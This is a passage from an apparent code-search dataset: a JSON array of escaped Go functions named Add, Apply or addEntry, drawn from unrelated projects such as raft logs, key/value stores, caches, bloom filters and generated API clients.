Extract useful entries.\\n\\tvar ents []raftpb.Entry\\n\\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\\n\\t\\tents = apply.entries[gmp.appliedi+1-firsti:]\\n\\t}\\n\\t// Iterate all entries\\n\\tfor _, e := range ents {\\n\\t\\tswitch e.Type {\\n\\t\\t// Normal entry.\\n\\t\\tcase raftpb.EntryNormal:\\n\\t\\t\\tif len(e.Data) != 0 {\\n\\t\\t\\t\\t// Unmarshal request.\\n\\t\\t\\t\\tvar req InternalRaftRequest\\n\\t\\t\\t\\tpbutil.MustUnmarshal(&req, e.Data)\\n\\n\\t\\t\\t\\tvar ar applyResult\\n\\t\\t\\t\\t// Put new value\\n\\t\\t\\t\\tif put := req.Put; put != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[put.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", put.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get key, value and revision.\\n\\t\\t\\t\\t\\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\\n\\t\\t\\t\\t\\t// Get map and put value into map.\\n\\t\\t\\t\\t\\tm := set.get(put.Map)\\n\\t\\t\\t\\t\\tm.put(key, value, revision)\\n\\t\\t\\t\\t\\t// Send put event to watcher\\n\\t\\t\\t\\t\\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\\n\\t\\t\\t\\t\\tm.watchers.Range(func(key, value interface{}) bool {\\n\\t\\t\\t\\t\\t\\tkey.(*watcher).eventc <- event\\n\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t// Set apply result.\\n\\t\\t\\t\\t\\tar.rev = revision\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Delete value\\n\\t\\t\\t\\tif del := req.Delete; del != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[del.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", del.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get map and delete value from map.\\n\\t\\t\\t\\t\\tm := set.get(del.Map)\\n\\t\\t\\t\\t\\tif pre := m.delete(del.Key); nil != pre {\\n\\t\\t\\t\\t\\t\\t// Send put event to watcher\\n\\t\\t\\t\\t\\t\\tar.pre = *pre\\n\\t\\t\\t\\t\\t\\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\\n\\t\\t\\t\\t\\t\\tm.watchers.Range(func(key, value interface{}) bool {\\n\\t\\t\\t\\t\\t\\t\\tkey.(*watcher).eventc <- event\\n\\t\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Update value\\n\\t\\t\\t\\tif update := req.Update; update != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[update.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", update.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get map.\\n\\t\\t\\t\\t\\tm := set.get(update.Map)\\n\\t\\t\\t\\t\\t// Update value.\\n\\t\\t\\t\\t\\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\\n\\t\\t\\t\\t\\tif ok {\\n\\t\\t\\t\\t\\t\\t// The revision will be set only if update succeed\\n\\t\\t\\t\\t\\t\\tar.rev = e.Index\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif nil != pre {\\n\\t\\t\\t\\t\\t\\tar.pre = *pre\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Trigger proposal waiter.\\n\\t\\t\\t\\tgm.wait.Trigger(req.ID, &ar)\\n\\t\\t\\t}\\n\\t\\t// The configuration of gmap is fixed and wil not be synchronized through raft.\\n\\t\\tcase raftpb.EntryConfChange:\\n\\t\\tdefault:\\n\\t\\t\\tlogger.Panicf(\\\"entry type should be either EntryNormal or EntryConfChange\\\")\\n\\t\\t}\\n\\n\\t\\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\\n\\t}\\n}\",\n \"func (s *Service) Add(r *http.Request, args *AddEntryArgs, result *AddResponse) error {\\n\\tif args.UserID == \\\"\\\" {\\n\\t\\tresult.Message = uidMissing\\n\\t\\treturn nil\\n\\t}\\n\\tentryType := args.Type\\n\\tif entryType == \\\"\\\" {\\n\\t\\tresult.Message = \\\"Entry type is missing\\\"\\n\\t\\treturn nil\\n\\t} else if (entryType != EntryTypePim) && (entryType != EntryTypeBookmark) && (entryType != EntryTypeOrg) {\\n\\t\\tresult.Message = \\\"Unknown entry type\\\"\\n\\t\\treturn nil\\n\\t}\\n\\tcontent := args.Content\\n\\tif content == \\\"\\\" {\\n\\t\\tresult.Message = \\\"Empty content not allowed\\\"\\n\\t\\treturn nil\\n\\t}\\n\\ts.Log.Infof(\\\"received '%s' entry: '%s'\\\", entryType, content)\\n\\n\\tcoll := s.Session.DB(MentatDatabase).C(args.UserID)\\n\\n\\tentry := Entry{}\\n\\tmgoErr := coll.Find(bson.M{\\\"content\\\": content}).One(&entry)\\n\\tif mgoErr != nil {\\n\\t\\tif mgoErr.Error() == MongoNotFound {\\n\\t\\t\\tentry.Type = args.Type\\n\\t\\t\\tentry.Content = content\\n\\t\\t\\ttags := args.Tags\\n\\t\\t\\tif len(tags) > 0 {\\n\\t\\t\\t\\tvar lowerTags []string\\n\\t\\t\\t\\tfor _, tag := range tags {\\n\\t\\t\\t\\t\\tlowerTags = append(lowerTags, strings.ToLower(tag))\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\ttags := lowerTags\\n\\t\\t\\t\\tentry.Tags = tags\\n\\t\\t\\t}\\n\\t\\t\\tif args.Scheduled != \\\"\\\" {\\n\\t\\t\\t\\tscheduled, err := time.Parse(DatetimeLayout, args.Scheduled)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tentry.Scheduled = scheduled\\n\\t\\t\\t}\\n\\t\\t\\tif args.Deadline != \\\"\\\" {\\n\\t\\t\\t\\tdeadline, err := time.Parse(DatetimeLayout, args.Deadline)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tentry.Deadline = deadline\\n\\t\\t\\t}\\n\\n\\t\\t\\tnow := time.Now()\\n\\t\\t\\tentry.AddedAt = now\\n\\t\\t\\tentry.ModifiedAt = now\\n\\n\\t\\t\\tif args.Priority != \\\"\\\" {\\n\\t\\t\\t\\trexp, err := regexp.Compile(\\\"\\\\\\\\#[A-Z]$\\\")\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tpanic(err) // sentinel, should fail, because such error is predictable\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif rexp.Match([]byte(args.Priority)) {\\n\\t\\t\\t\\t\\tentry.Priority = args.Priority\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tresult.Message = \\\"Malformed priority value\\\"\\n\\t\\t\\t\\t\\treturn nil\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif args.TodoStatus != \\\"\\\" {\\n\\t\\t\\t\\tentry.TodoStatus = strings.ToUpper(args.TodoStatus)\\n\\t\\t\\t}\\n\\n\\t\\t\\tif (PostMetadata{}) != args.Metadata {\\n\\t\\t\\t\\tentry.Metadata = args.Metadata\\n\\t\\t\\t}\\n\\n\\t\\t\\tentry.UUID = uuid.NewV4().String()\\n\\t\\t\\tmgoErr = coll.Insert(&entry)\\n\\t\\t\\tif mgoErr != nil {\\n\\t\\t\\t\\ts.Log.Infof(\\\"failed to insert entry: %s\\\", mgoErr.Error())\\n\\t\\t\\t\\tresult.Message = fmt.Sprintf(\\\"failed to insert entry: %s\\\", mgoErr.Error())\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\t}\\n\\t\\t\\tresult.Message = entry.UUID\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\ts.Log.Infof(\\\"mgo error: %s\\\", mgoErr)\\n\\t\\tresult.Message = fmt.Sprintf(\\\"mgo error: %s\\\", mgoErr)\\n\\t\\treturn nil\\n\\t}\\n\\tresult.Message = \\\"Already exists, skipping\\\"\\n\\treturn nil\\n}\",\n \"func (r *Report) addEntry(key string, suppressedKinds []string, kind string, context int, diffs []difflib.DiffRecord, changeType string) {\\n\\tentry := ReportEntry{\\n\\t\\tkey,\\n\\t\\tsuppressedKinds,\\n\\t\\tkind,\\n\\t\\tcontext,\\n\\t\\tdiffs,\\n\\t\\tchangeType,\\n\\t}\\n\\tr.entries = append(r.entries, entry)\\n}\",\n \"func (s *Store) add(id string, e Entry) (err error) {\\n\\tutils.Assert(!utils.IsSet(e.ID()) || id == e.ID(), \\\"ID must not be set here\\\")\\n\\tif _, exists := (*s)[id]; exists {\\n\\t\\treturn fmt.Errorf(\\\"Found multiple parameter definitions with id '%v'\\\", id)\\n\\t}\\n\\n\\tif !utils.IsSet(e.ID()) {\\n\\t\\te.setID(id)\\n\\t}\\n\\t(*s)[id] = e\\n\\treturn nil\\n}\",\n \"func (h Hook) apply(m *Meta) {\\n\\tm.Hooks = append(m.Hooks, h)\\n}\",\n \"func (s *State) Add(tx Transaction) error {\\n\\tif err := s.apply(tx); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ts.txMempool = append(s.txMempool, tx)\\n\\n\\treturn nil\\n}\",\n \"func (r ApiGetHyperflexSoftwareDistributionEntryListRequest) Apply(apply string) ApiGetHyperflexSoftwareDistributionEntryListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (l *RaftLog) addEntry(term uint64, data []byte) {\\n\\tnewEntry := pb.Entry{\\n\\t\\tIndex: l.LastIndex() + 1,\\n\\t\\tTerm: term,\\n\\t\\tData: data,\\n\\t}\\n\\tl.entries = append(l.entries, newEntry)\\n\\tl.pendingEntries = append(l.pendingEntries, newEntry)\\n}\",\n \"func (f *File) Add(entry entry) {\\n\\tif err := doError(); err != nil {\\n\\t\\tfmt.Println(err)\\n\\t}\\n}\",\n \"func (op *OpRetain) Apply(e *entry.Entry) error {\\n\\tnewEntry := entry.New()\\n\\tnewEntry.Timestamp = e.Timestamp\\n\\tfor _, field := range op.Fields {\\n\\t\\tval, ok := e.Get(field)\\n\\t\\tif !ok {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\terr := newEntry.Set(field, val)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\t*e = *newEntry\\n\\treturn nil\\n}\",\n \"func (m *mEntry) AddAny(key string, val interface{}) Entry {\\n\\tfor i := range m.es {\\n\\t\\tm.es[i] = m.es[i].AddAny(key, val)\\n\\t}\\n\\treturn m\\n}\",\n \"func (r Row) Add(e Entry) Row {\\n\\tif e.Size.Size() > r.W*r.H-r.C {\\n\\t\\treturn r\\n\\t}\\n\\n\\t// Interate over the part of the grid where the entry could be added\\n\\tfor j := 0; j < r.H-e.Size.H+1; j++ {\\n\\t\\tfor i := 0; i < r.W-e.Size.W+1; i++ {\\n\\t\\t\\t// Iterate over the Entry\\n\\t\\t\\tif r.Coverage.empty(e.Size.W, e.Size.H, i, j) {\\n\\t\\t\\t\\tr.Entries = append(r.Entries, e.Pos(i, j))\\n\\t\\t\\t\\tr.C += e.Size.Size()\\n\\t\\t\\t\\tr.Coverage.fill(e.Size.W, e.Size.H, i, j)\\n\\t\\t\\t\\treturn r\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn r\\n}\",\n \"func (c *Collection) Add(entry interface{}) error {\\n\\tkeyComponents, err := c.generateKey(entry)\\n\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Failed to add to collection. %s\\\", err.Error())\\n\\t}\\n\\n\\tkey, err := c.formatKey(keyComponents)\\n\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Failed to add to collection. %s\\\", err.Error())\\n\\t}\\n\\n\\texists, err := c.exists(key)\\n\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Failed to add to collection. %s\\\", err.Error())\\n\\t}\\n\\n\\tif exists {\\n\\t\\treturn fmt.Errorf(\\\"Failed to add to collection. Key already exists\\\")\\n\\t}\\n\\n\\tbytes, err := c.Serializer.ToBytes(entry)\\n\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Failed to add to collection. %s\\\", err.Error())\\n\\t}\\n\\n\\tif c.Name != WorldStateIdentifier {\\n\\t\\terr = c.Stub.PutPrivateData(c.Name, key, bytes)\\n\\t} else {\\n\\t\\terr = c.Stub.PutState(key, bytes)\\n\\t}\\n\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Failed to add to collection. %s\\\", err.Error())\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (r *ExactMatchLookupJobMatchingRowsCollectionRequest) Add(ctx context.Context, reqObj *LookupResultRow) (resObj *LookupResultRow, err error) {\\n\\terr = r.JSONRequest(ctx, \\\"POST\\\", \\\"\\\", reqObj, &resObj)\\n\\treturn\\n}\",\n \"func (c *Controller) apply(key string) error {\\n\\titem, exists, err := c.indexer.GetByKey(key)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif !exists {\\n\\t\\treturn c.remove(key)\\n\\t}\\n\\treturn c.upsert(item, key)\\n}\",\n \"func Add(ds datastore.Datastore, a Input) (int, error) {\\n\\treturn add(ds, a)\\n}\",\n \"func (h *History) Add(key int, input, output interface{}, start, end int64) {\\n\\th.Lock()\\n\\tdefer h.Unlock()\\n\\tif _, exists := h.shard[key]; !exists {\\n\\t\\th.shard[key] = make([]*operation, 0)\\n\\t}\\n\\to := &operation{input, output, start, end}\\n\\th.shard[key] = append(h.shard[key], o)\\n\\th.operations = append(h.operations, o)\\n}\",\n \"func (h *History) Add(key int, input, output interface{}, start, end int64) {\\n\\th.Lock()\\n\\tdefer h.Unlock()\\n\\tif _, exists := h.shard[key]; !exists {\\n\\t\\th.shard[key] = make([]*operation, 0)\\n\\t}\\n\\to := &operation{input, output, start, end}\\n\\th.shard[key] = append(h.shard[key], o)\\n\\th.operations = append(h.operations, o)\\n}\",\n \"func (as appendStrategy) apply() error {\\n\\tif as.lastErr == nil {\\n\\t\\treturn nil\\n\\t}\\n\\treturn Append(as.previousErr, as.lastErr)\\n}\",\n \"func (s *MedianSubscriber) addEntry(e entry) {\\n\\tn := len(s.entries)\\n\\tpos := sort.Search(n, func(i int) bool {\\n\\t\\treturn s.entries[i].Compare(e) >= 0\\n\\t}) // insert pos of entry\\n\\tif pos == n {\\n\\t\\ts.entries = append(s.entries, e)\\n\\t} else {\\n\\t\\ts.entries = append(s.entries[:pos+1], s.entries[pos:]...)\\n\\t\\ts.entries[pos] = e\\n\\t}\\n}\",\n \"func (op *OpRemove) Apply(e *entry.Entry) error {\\n\\te.Delete(op.Field)\\n\\treturn nil\\n}\",\n \"func (d *Dao) Add(ctx context.Context, h *model.History) error {\\n\\tvalueByte, err := json.Marshal(h)\\n\\tif err != nil {\\n\\t\\tlog.Error(\\\"json.Marshal(%v) error(%v)\\\", h, err)\\n\\t\\treturn err\\n\\t}\\n\\tfValues := make(map[string][]byte)\\n\\tcolumn := d.column(h.Aid, h.TP)\\n\\tfValues[column] = valueByte\\n\\tkey := hashRowKey(h.Mid)\\n\\tvalues := map[string]map[string][]byte{family: fValues}\\n\\tctx, cancel := context.WithTimeout(ctx, time.Duration(d.conf.Info.WriteTimeout))\\n\\tdefer cancel()\\n\\tif _, err = d.info.PutStr(ctx, tableInfo, key, values); err != nil {\\n\\t\\tlog.Error(\\\"info.PutStr error(%v)\\\", err)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r ApiGetBulkExportedItemListRequest) Apply(apply string) ApiGetBulkExportedItemListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\\n\\tkv.mu.Lock()\\n\\tdefer kv.mu.Unlock()\\n\\n\\tvar args Op\\n\\targs = msg.Command.(Op)\\n\\tif kv.op_count[args.Client] >= args.Id {\\n\\t\\tDPrintf(\\\"Duplicate operation\\\\n\\\")\\n\\t}else {\\n\\t\\tswitch args.Type {\\n\\t\\tcase OpPut:\\n\\t\\t\\tDPrintf(\\\"Put Key/Value %v/%v\\\\n\\\", args.Key, args.Value)\\n\\t\\t\\tkv.data[args.Key] = args.Value\\n\\t\\tcase OpAppend:\\n\\t\\t\\tDPrintf(\\\"Append Key/Value %v/%v\\\\n\\\", args.Key, args.Value)\\n\\t\\t\\tkv.data[args.Key] = kv.data[args.Key] + args.Value\\n\\t\\tdefault:\\n\\t\\t}\\n\\t\\tkv.op_count[args.Client] = args.Id\\n\\t}\\n\\n\\t//DPrintf(\\\"@@@Index:%v len:%v content:%v\\\\n\\\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\\n\\t//DPrintf(\\\"@@@kv.pendingOps[%v]:%v\\\\n\\\", msg.Index, kv.pendingOps[msg.Index])\\n\\tfor _, i := range kv.pendingOps[msg.Index] {\\n\\t\\tif i.op.Client==args.Client && i.op.Id==args.Id {\\n\\t\\t\\tDPrintf(\\\"Client:%v %v, Id:%v %v\\\", i.op.Client, args.Client, i.op.Id, args.Id)\\n\\t\\t\\ti.flag <- true\\n\\t\\t}else {\\n\\t\\t\\tDPrintf(\\\"Client:%v %v, Id:%v %v\\\", i.op.Client, args.Client, i.op.Id, args.Id)\\n\\t\\t\\ti.flag <-false\\n\\t\\t}\\n\\t}\\n\\tdelete(kv.pendingOps, msg.Index)\\n}\",\n \"func (f *Flattener) Add(point *FlattenerPoint) error {\\n\\n\\titem, ok := f.pointMap.Load(point.hash)\\n\\tif ok {\\n\\t\\tentry := item.(*mapEntry)\\n\\t\\tentry.values = append(entry.values, point.value)\\n\\t\\treturn nil\\n\\t}\\n\\n\\tentry := &mapEntry{\\n\\t\\tvalues: []float64{point.value},\\n\\t\\tflattenerPointData: flattenerPointData{\\n\\t\\t\\toperation: point.operation,\\n\\t\\t\\ttimestamp: point.timestamp,\\n\\t\\t\\tdataChannelItem: point.dataChannelItem,\\n\\t\\t},\\n\\t}\\n\\n\\tf.pointMap.Store(point.hash, entry)\\n\\n\\treturn nil\\n}\",\n \"func (k Keeper) Add(ctx sdk.Context, address sdk.AccAddress, amount sdk.Int) (sdk.Int, error) {\\n\\tvalue, err := k.Get(ctx, address)\\n\\tif err != nil {\\n\\t\\treturn sdk.Int{}, sdkerrors.Wrapf(sdkerrors.ErrInvalidRequest, err.Error())\\n\\t}\\n\\tres := value.Add(amount)\\n\\t// emit event\\n\\tctx.EventManager().EmitEvent(\\n\\t\\tsdk.NewEvent(\\n\\t\\t\\ttypes.EventType,\\n\\t\\t\\tsdk.NewAttribute(sdk.AttributeKeyAction, types.AttributeActionAdded),\\n\\t\\t\\tsdk.NewAttribute(types.AttributeKeyAddress, address.String()),\\n\\t\\t\\tsdk.NewAttribute(types.AttributeKeyAmount, amount.String()),\\n\\t\\t),\\n\\t)\\n\\treturn k.set(ctx, address, res)\\n}\",\n \"func (r ApiGetHyperflexDatastoreStatisticListRequest) Apply(apply string) ApiGetHyperflexDatastoreStatisticListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (lw *StandardLogWriter) AddEntry(opEntry OperationEntry) {\\n\\tlw.OpEntries = append(lw.OpEntries, opEntry)\\n}\",\n \"func (r ApiGetHyperflexVmImportOperationListRequest) Apply(apply string) ApiGetHyperflexVmImportOperationListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (s *StyleBuilder) Add(ttype TokenType, entry string) *StyleBuilder { // nolint: gocyclo\\n\\ts.entries[ttype] = entry\\n\\treturn s\\n}\",\n \"func (r ApiGetBulkResultListRequest) Apply(apply string) ApiGetBulkResultListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (r *Instance) Apply(ctx context.Context, s *Instance, d *state.InstanceDiff, meta interface{}) error {\\n\\t// TODO: Implement this method\\n\\treturn nil\\n}\",\n \"func (e *Element) Apply(element *Element) {\\n\\telement.Children = append(element.Children, e)\\n}\",\n \"func (q query) Add(key string, op Operator, val ...interface{}) {\\n\\tq.init(key)\\n\\tq[key][op] = append(q[key][op], val...)\\n}\",\n \"func (o *Operation) Apply(v interface{}) (interface{}, error) {\\n\\tf, ok := opApplyMap[o.Op]\\n\\tif !ok {\\n\\t\\treturn v, fmt.Errorf(\\\"unknown operation: %s\\\", o.Op)\\n\\t}\\n\\n\\tresult, err := f(o, v)\\n\\tif err != nil {\\n\\t\\treturn result, fmt.Errorf(\\\"error applying operation %s: %s\\\", o.Op, err)\\n\\t}\\n\\n\\treturn result, nil\\n}\",\n \"func (r ApiGetBulkRequestListRequest) Apply(apply string) ApiGetBulkRequestListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (r ApiGetHyperflexHealthListRequest) Apply(apply string) ApiGetHyperflexHealthListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (filter *BloomFilter) Add(key interface{}) {\\n\\tindexes := filter.getIndexes(key)\\n\\n\\tfor i := 0; i < len(indexes); i++ {\\n\\t\\tfilter.bits.Set(indexes[i])\\n\\t}\\n\\n\\tfilter.keySize += 1\\n}\",\n \"func (bf *BloomFilter) Add(value interface{}) {\\n\\tbf.blf.Add(value)\\n}\",\n \"func (dump *Dump) EctractAndApplyUpdateEntryType(record *Content, pack *PackedContent) {\\n\\tdump.RemoveFromEntryTypeIndex(pack.EntryTypeString, pack.ID)\\n\\n\\tpack.EntryType = record.EntryType\\n\\tpack.EntryTypeString = entryTypeKey(record.EntryType, record.Decision.Org)\\n\\n\\tdump.InsertToEntryTypeIndex(pack.EntryTypeString, pack.ID)\\n}\",\n \"func (c *Cache) Add(key Key, value interface{}) *Cache {\\n\\tif el, hit := c.cache[key]; hit {\\n\\t\\tel.Value.(*entry).value = value\\n\\t\\tc.ddl.MoveToFront(el)\\n\\t\\treturn c\\n\\t}\\n\\n\\tif c.ddl.Len() >= c.maxEntries {\\n\\t\\tlel := c.ddl.Back()\\n\\t\\tc.remove(lel)\\n\\t}\\n\\n\\te := entry{key: key, value: value}\\n\\tel := c.ddl.PushFront(&e)\\n\\tc.cache[key] = el\\n\\treturn c\\n}\",\n \"func (cs cacheSize) add(bytes, entries int32) cacheSize {\\n\\treturn newCacheSize(cs.bytes()+bytes, cs.entries()+entries)\\n}\",\n \"func (so *Operations) Add(op api.Operation) error {\\n\\tso.safe()\\n\\tkey := op.Id()\\n\\tif _, found := so.oMap[key]; !found {\\n\\t\\tso.oOrder = append(so.oOrder, key)\\n\\t}\\n\\tso.oMap[key] = op\\n\\treturn nil\\n}\",\n \"func (m mapImports) Add(key string, value string, thirdParty bool) {\\n\\tmp := m[key]\\n\\tif thirdParty {\\n\\t\\tmp.thirdParty = append(mp.thirdParty, value)\\n\\t} else {\\n\\t\\tmp.standard = append(mp.standard, value)\\n\\t}\\n\\n\\tm[key] = mp\\n}\",\n \"func (r ApiGetHyperflexServerFirmwareVersionEntryListRequest) Apply(apply string) ApiGetHyperflexServerFirmwareVersionEntryListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (pred *LikePredicate) Apply(c cm.Collection) error {\\n\\tcol := c.(*Table)\\n\\n\\tlike := \\\"like\\\"\\n\\n\\tif pred.CaseSensitive {\\n\\t\\tlike = \\\"ilike\\\"\\n\\t}\\n\\n\\tcol.filterStatements = append(col.filterStatements,\\n\\t\\tfmt.Sprintf(\\\"%s %s ?\\\", pred.Column.Name(), like))\\n\\n\\tcol.filterValues = append(col.filterValues, pred.Value)\\n\\n\\treturn nil\\n}\",\n \"func (h HyperLogLog) Add(ctx context.Context, values ...string) (int64, error) {\\n\\treq := newRequestSize(2+len(values), \\\"\\\\r\\\\n$5\\\\r\\\\nPFADD\\\\r\\\\n$\\\")\\n\\treq.addStringAndStrings(h.name, values)\\n\\treturn h.c.cmdInt(ctx, req)\\n}\",\n \"func (u updateCachedUploadRevision) apply(data *journalPersist) {\\n\\tc := data.CachedRevisions[u.Revision.ParentID.String()]\\n\\tc.Revision = u.Revision\\n\\tif u.SectorIndex == len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\\n\\t} else if u.SectorIndex < len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\\n\\t} else {\\n\\t\\t// Shouldn't happen. TODO: Add correct error handling.\\n\\t}\\n\\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\\n}\",\n \"func (kv *KVServer) ApplyOp(op Op, opIndex int, opTerm int) KVAppliedOp {\\n\\terr := Err(OK)\\n\\tval, keyOk := kv.store[op.Key]\\n\\n\\t// only do the store modification if we haven't already\\n\\t// seen this request (can happen if a leader crashes after comitting\\n\\t// but before responding to client)\\n\\tif prevOp, ok := kv.latestResponse[op.ClientID]; !ok || prevOp.KVOp.ClientSerial != op.ClientSerial {\\n\\t\\tif op.OpType == \\\"Get\\\" && !keyOk {\\n\\t\\t\\t// Get\\n\\t\\t\\terr = Err(ErrNoKey)\\n\\t\\t} else if op.OpType == \\\"Put\\\" {\\n\\t\\t\\t// Put\\n\\t\\t\\tkv.store[op.Key] = op.Value\\n\\t\\t} else if op.OpType == \\\"Append\\\" {\\n\\t\\t\\t// Append (may need to just Put)\\n\\t\\t\\tif !keyOk {\\n\\t\\t\\t\\tkv.store[op.Key] = op.Value // should this be ErrNoKey?\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tkv.store[op.Key] += op.Value\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tkv.Log(LogInfo, \\\"Store updated:\\\", kv.store)\\n\\t} else {\\n\\t\\tkv.Log(LogDebug, \\\"Skipping store update, detected duplicate command.\\\")\\n\\t}\\n\\n\\t// create the op, add the Value field if a Get\\n\\tappliedOp := KVAppliedOp{\\n\\t\\tTerm: opTerm,\\n\\t\\tIndex: opIndex,\\n\\t\\tKVOp: op,\\n\\t\\tErr: err,\\n\\t}\\n\\tif op.OpType == \\\"Get\\\" {\\n\\t\\tappliedOp.Value = val\\n\\t}\\n\\tkv.Log(LogDebug, \\\"Applied op\\\", appliedOp)\\n\\n\\t// update tracking of latest op applied\\n\\tkv.lastIndexApplied = appliedOp.Index\\n\\tkv.lastTermApplied = appliedOp.Term\\n\\treturn appliedOp\\n}\",\n \"func (m *mEntry) AddErr(err error) Entry {\\n\\tfor i := range m.es {\\n\\t\\tm.es[i] = m.es[i].AddErr(err)\\n\\t}\\n\\treturn m\\n}\",\n \"func (digest *MergingDigest) Add(x float64, w int64) {\\n\\tif w <= 0 {\\n\\t\\tpanic(\\\"Cannot add samples with non-positive weight\\\")\\n\\t}\\n\\tdigest.Merge(Centroid{\\n\\t\\tMean: x,\\n\\t\\tCount: w,\\n\\t})\\n}\",\n \"func (this *DateAddStr) Apply(context Context, date, n, part value.Value) (value.Value, error) {\\n\\tif date.Type() == value.MISSING || n.Type() == value.MISSING || part.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if date.Type() != value.STRING || n.Type() != value.NUMBER || part.Type() != value.STRING {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\tda := date.Actual().(string)\\n\\tt, fmt, err := strToTimeFormat(da)\\n\\tif err != nil {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\tna := n.Actual().(float64)\\n\\tif na != math.Trunc(na) {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\tpa := part.Actual().(string)\\n\\tt, err = dateAdd(t, int(na), pa)\\n\\tif err != nil {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\treturn value.NewValue(timeToStr(t, fmt)), nil\\n}\",\n \"func (c *Changer) Add(v interface{}) error {\\n\\tif c.err != nil {\\n\\t\\treturn c.err\\n\\t}\\n\\t_, err := c.node.addChild(justValue{v})\\n\\treturn err\\n}\",\n \"func (r ApiGetBulkExportListRequest) Apply(apply string) ApiGetBulkExportListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (s *set) Add(t *Term) {\\n\\ts.insert(t)\\n}\",\n \"func (c *cache) addMulti(e *Entry) error {\\n\\thashes, err := allHashes(e)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tc.mu.Lock()\\n\\tdefer c.mu.Unlock()\\n\\tif _, present := c.entries[e.name]; present {\\n\\t\\t// log or fail...?\\n\\t\\tc.log.Warning(\\\"[cache] Overwriting cache entry '%s'\\\", e.name)\\n\\t} else {\\n\\t\\tc.log.Info(\\\"[cache] Adding entry for '%s'\\\", e.name)\\n\\t}\\n\\tc.entries[e.name] = e\\n\\tfor _, h := range hashes {\\n\\t\\tc.lookupMap[h] = e\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r ApiGetBulkSubRequestObjListRequest) Apply(apply string) ApiGetBulkSubRequestObjListRequest 